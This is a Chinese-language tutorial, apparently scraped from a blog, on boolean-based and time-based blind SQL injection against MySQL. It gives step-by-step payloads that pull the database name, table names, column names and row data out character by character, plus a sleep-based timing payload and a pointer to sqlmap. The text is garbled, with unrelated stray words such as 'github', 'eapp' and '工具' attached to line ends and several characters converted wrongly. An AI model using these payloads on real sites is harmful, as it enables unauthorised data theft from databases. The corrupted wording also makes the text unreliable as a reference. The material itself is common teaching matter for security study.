所謂的盲注就是在服務器沒有錯誤回顯的時候完成的注入攻擊。
服務器沒有錯誤回顯,對於攻擊者來講缺乏了很是重要的「調試信息」。git
1.布爾盲注
布爾很明顯Ture和Fales,也就是說它只會根據你的注入信息返回True和Fales,也就沒有了以前的報錯信息。github
2.時間盲注
界面返回值只有一種,True。不管輸入和值,返回狀況都會按正常的來處理。加入特定的時間函數,經過查看web頁面返回的時間差來判斷注入的語句是否正確。web
length() 函數 返回字符串的長度
substr() 截取字符串 (語法:SUBSTR(str,pos,len);)
ascii() 返回字符的ascii碼 [將字符變爲數字wei]
sleep() 將程序掛起一段時間n爲n秒
if(expr1,expr2,expr3) 判斷語句 若是第一個語句正確就執行第二個語句若是錯誤執行第三個語句sql
1.猜解數據庫名稱長度
id=1'and(length(database()))>n數據庫
2.猜解數庫名稱
and (ascii(substr(database(),1,1)))=115--+ 返回正常,說明數據庫名稱第一位是s服務器
3.猜表名
and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101 --+ 返回正常,說明數據庫表名的第一個的第一位是eapp
4.猜字段名
and (ascii(substr((select column_name from information_schema.columns where table_name='zkaq' limit 0,1),1,1)))=102--+ 返回正常,說明zkaq表中的列名稱第一位是f函數
5.猜數據
and (ascii(substr(( select zKaQ from zkaq limit 4,1),1,1)))=122--+返回正常,說明zKaQ列第一位是z工具
sqlmap工具調試
下載地址:https://github.com/sqlmapproject/sqlmap
下載好後直接解壓,而且加入環境變量,就能夠直接在cmd調用
也可用kali自帶的sqlmap
and if(ascii(substr(database(),1,1))>120,0,sleep(10)) --+ 該語句表示,若是正確則10s後再加載頁面